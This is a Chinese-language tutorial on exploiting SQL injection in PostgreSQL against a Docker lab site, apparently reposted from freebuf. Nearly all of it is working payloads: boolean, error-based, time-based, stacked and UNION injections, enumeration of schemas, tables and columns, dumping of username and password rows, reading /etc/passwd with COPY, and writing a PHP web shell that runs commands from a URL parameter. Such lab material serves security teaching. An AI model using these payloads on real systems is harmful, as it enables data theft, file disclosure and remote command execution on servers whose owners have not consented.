postgresql注入 – 作者:东塔安全学院

PostgreSQL 是一个免费的对象-关系数据库服务器 (ORDBMS),在灵活的 BSD 许可证下发行。

PostgreSQL 开发者把它念作 post-gress-Q-L。

PostgreSQL 的 Slogan 是 “世界上最先进的开源关系型数据库”。

这里我们通过一个简单的靶场来学习 postgresql 数据库相关漏洞

一、浏览器访问数据

这里我们是利用 docker 搭建的环境

访问我们搭建的地址:http://172.16.1.238:90/index.php?uid=1

1599706753.png!small

二、验证注入

基于布尔型注入(boolean-based blind)

index.php?uid=1 AND 1=1 运行正常

index.php?uid=1 AND 1=2 运行异常

1599706771.png!small

1599706779.png!small

基于报错注入(error-based)

获取版本号:

select * from tbuser where id=1 AND 7778=CAST((SELECT version())::text AS NUMERIC)

1599706790.png!small

获取 Schemas 名称

select * from tbuser where id=1 AND 7778=CAST((SELECT schemaname FROM pg_tables limit 1)::text AS NUMERIC)

1599706811.png!small

基于时间的盲注(time-based blind)

AND 6489=(SELECT 6489 FROM PG_SLEEP(5)) 延时 5 秒

1599706829.png!small

基于堆叠查询(多语句查询,stacked queries)

?uid=1;select PG_SLEEP(5)–

1599706838.png!small

基于联合查询(UNION query)

?uid=1 order by 1,2,3 运行正常

?uid=1 order by 1,2,3,4 运行异常,获取字段数 3

?uid=1 UNION ALL SELECT NULL,(‘11111’),NULL– 查看是否输出 11111

1599706845.png!small

1599706853.png!small

1599706860.png!small

获取数据库结构和内容

此处均为联合查询

获取模式名称(schemaname)名称

?uid=1 UNION SELECT NULL,COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32))),NULL FROM pg_tables--

语法解析:

COALESCE(expression[,n]) coalesce 函数返回参数(列名)中第一个非 NULL 值的字段值,注意不是为空”

cast (‘1’ as numeric) 1 转换为数字类型

简化:

?uid=1 UNION SELECT NULL,schemaname,NULL FROM pg_tables--

1599706873.png!small

用户创建的数据库默认模式名称(schemaname)为 public

获取数据表名称

uid=1 UNION ALL SELECT NULL,tablename,NULL FROM pg_tables WHERE schemaname IN ('public')

1599706881.png!small

获取表字段名称

?uid=1 UNION SELECT NULL,attname,NULL FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='tbuser' AND nspname='public'—

1599706892.png!small

获取表内容

?uid=1 UNION ALL SELECT NULL,id||','||username||','||passwd,NULL FROM public.tbuser--

1599706909.png!small

三、文件或目录操作

PostgreSQL 中部分内置函数、表

1599706918.png!small

列目录——只能列安装目录下的文件

?uid=1 union select NULL,NULL,pg_ls_dir(‘./’)

1599706929.png!small

读文件

?uid=1;

CREATE TABLE passwd(t TEXT);

COPY passwd FROM '/etc/passwd';

SELECT NULL,t,NULL FROM passwd;

1599706939.png!small

写文件

?uid=1;

DROP TABLE pass;(这里需要为数据库存在的表)

CREATE TABLE hacktb (t TEXT);

INSERT INTO hacktb(t) VALUES ('<?php @system("$_GET[cmd]");?>');

COPY hacktb(t) TO '/tmp/hack.php';

1599706950.png!small

1599706959.png!small

来源:freebuf.com 2020-09-10 18:34:41 by: 东塔安全学院

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论